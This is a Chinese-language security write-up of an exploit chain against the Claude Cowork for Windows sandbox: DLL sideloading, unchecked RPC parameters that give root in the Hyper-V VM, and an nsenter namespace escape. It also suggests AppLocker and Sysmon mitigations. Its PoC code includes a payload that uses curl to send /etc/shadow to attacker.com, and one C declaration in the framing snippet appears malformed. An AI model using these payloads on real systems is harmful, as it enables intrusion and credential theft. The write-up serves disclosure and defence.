Claude Cowork 的 RPC 服務認證沒問題?
1. 簡介
大型語言模型整合至桌面環境後,帶來了新的攻擊面,特別是透過本地沙箱虛擬機器執行程式碼的機制。報告探討在 Claude Cowork for Windows 環境中識別出的特定漏洞鏈,該漏洞鏈結合 DLL 側載攻擊與不安全的 RPC 處理,使具有本地執行權限的攻擊者能在 Hyper-V 隔離的 Ubuntu VM 內提升至 root 權限。透過操控 RPC 參數,攻擊者可繞過身分的驗證機制,達成不受限制的網路對外連線,並完全控制 guest VM 的 namespaces。
2. 架構概述
Windows 上的 Claude Cowork 沙箱採用多層縱深防禦策略,包含 Hyper-V 隔離的 Ubuntu VM、Authenticode 閘道的 named-pipe RPC,以及 Linux 層級的保護措施(如
bubblewrap
namespaces 與
seccomp
過濾器)。主機應用程式與 VM 之間的通訊由
CoworkVMService
(一個 Local System 服務)負責轉送,該服務處理基於 JSON 的 RPC 請求。
2.1 通訊順序分析
下圖說明了預期的通訊流程,以及透過注入惡意 RPC Payload 而導致安全邊界被破壞的環節。
3. 漏洞分析
3.1 透過 USERENV.dll 進行 DLL 側載攻擊
初始進入點涉及 DLL 側載攻擊,此技術是誘使已簽署的可執行檔從其本地目錄載入惡意程式庫。在此案例中,
claude.exe
被發現匯入
USERENV.dll
的
GetUserProfileDirectoryW
函式。由於應用程式在搜尋系統目錄之前會先搜尋本地目錄,攻擊者可以放置 Proxy DLL 來攔截執行流程,同時保留父處理程序有效的 Authenticode 簽章,這對後續的 RPC 身分驗證至關重要。
- // *
- // * Program 1: Named Pipe Connection PoC
- // * This snippet demonstrates the initial connection to the Cowork service.
- // * The use of CreateFileA to open the named pipe is the first step
- // * in the exploit chain after successful sideloading.
- // *
- #include <windows.h>
- #include <stdio.h>
- #define PIPE_NAME "\\\\.\\pipe\\cowork-vm-service"
- static HANDLE pipe_connect(void) {
- // Attempting to open the named pipe for bidirectional communication
- return CreateFileA(
- PIPE_NAME,
- GENERIC_READ | GENERIC_WRITE,
- 0, NULL,
- OPEN_EXISTING,
- 0, NULL
- );
- }
3.2 RPC 訊息框架
與
CoworkVMService
的通訊需要特定的框架協定。訊息前面會加上 4 位元組的 big-endian 長度標頭,後面接著 JSON Payload。下方程式碼片段說明攻擊者如何建構這些框架來與服務互動。
- // *
- // * Program 2: RPC Payload Framing
- // * Encapsulates the JSON request with a 4-byte big-endian length header.
- // * This is required for the service to correctly parse the RPC message.
- // *
- static BOOL pipe_send(HANDLE h, const char *json) {
- DWORD len = (DWORD)strlen(json);
- unsigned char header = {
- (unsigned char)((len >> 24) & 0xFF),
- (unsigned char)((len >> 16) & 0xFF),
- (unsigned char)((len >> 8) & 0xFF),
- (unsigned char)((len & 0xFF))
- };
- DWORD written;
- // Sending the 4-byte header followed by the actual JSON body
- if (!WriteFile(h, header, 4, &written, NULL) || written != 4) return FALSE;
- if (!WriteFile(h, json, len, &written, NULL) || written != len) return FALSE;
- return TRUE;
- }
3.3 透過參數操控進行沙箱逃逸
關鍵的失效點發生在
CoworkVMService
,它執行了身分驗證(檢查連線處理程序的 Authenticode 簽章),但未對 RPC 內容進行授權檢查或清理。透過模糊測試發現
spawn
方法中的兩個參數會覆寫預設的安全限制:
isResume
與
allowedDomains
。
當
isResume
設為
true
時,VM 內部的
sdk-daemon
會略過建立新的非特權使用者,而是以現有使用者(在此環境下為
root
,UID 0)身分執行命令。此外,將
allowedDomains
設為
["*"]
會停用 egress proxy 的網域允許清單,讓攻擊者可從 VM 內不受限制地存取網際網路。
- {
- // *
- // * Program 3: Malicious JSON Payload for Root Execution
- // * This payload triggers the vulnerability by setting 'isResume' to true,
- // * which bypasses unprivileged user isolation and runs the command as root.
- // *
- "method": "spawn",
- "params": {
- "command": "bash",
- "args": ["-c", "id; grep Cap /proc/self/status; cat /proc/attr/current"],
- "name": "root",
- "id": "root-poc",
- "isResume": true
- }
- }
4. 進階利用:命名空間逃逸(Namespace Escape)
在
bubblewrap
沙箱中取得 root 權限已屬重大突破,但漏洞利用的最終目標是徹底脫離容器化環境。由於
isResume: true
旗標會導致 PID 1(即
sdk-daemon
)可見,攻擊者可使用
nsenter
命令進入主機 VM 的 namespaces,進而完全存取 VM 的檔案系統、所有執行中的處理程序,並能修改磁碟上的安全過濾器(如
seccomp
BPF)。
- {
- // *
- // * Program 4: Full Escape and Exfiltration Payload
- // * This payload combines root execution, network bypass, and namespace escape.
- // * It uses 'nsenter' to break out of the bubblewrap sandbox and 'curl'
- // * to exfiltrate sensitive files via the unblocked network.
- // *
- "method": "spawn",
- "params": {
- "command": "bash",
- "args": ["-c", "nsenter -t 1 -p -m -u -i -n -- curl http://attacker.com/$(cat /etc/shadow | base64 -w0)"],
- "name": "root",
- "id": "full-escape",
- "isResume": true,
- "allowedDomains": ["*"]
- }
- }
5. 防禦與比較分析
此漏洞凸顯了現代安全架構中的常見缺失:過度依賴「身分」(誰在呼叫)而非「能力」(呼叫了什麼)。雖然沙箱堆疊(Hyper-V、
bubblewrap
、
seccomp
)在單獨運作時相當穩固,但管理介面(RPC 服務)建立了繞過機制,使這些防護層形同虛設。
與其他基於 DLL 的利用技術類似,緩解策略包括限制敏感應用程式的執行環境。例如,使用 AppLocker 或封裝應用程式規則來限制可執行 Claude Desktop 套件的群組,以縮小攻擊面。此外,可設定 Sysmon 等監控工具,偵測標準系統目錄外的可疑 DLL 載入,特別針對非預期路徑中
USERENV.dll
載入的 Event ID 7 進行監控。
6. 結論
對 Claude Cowork 沙箱的研究顯示,即便是高度複雜的虛擬化安全措施,若控制介面未妥善防護,仍可能被規避。透過利用未記載的 RPC 參數「悄然」以 root 身分執行程式碼,突顯了對管理服務進行嚴謹模糊測試的重要性。隨著 AI 驅動的生產力工具持續採用複雜的本地 VM 架構,防禦者必須確保主機與來賓環境之間的轉換介面,不會成為系統性淪陷的沉默途徑。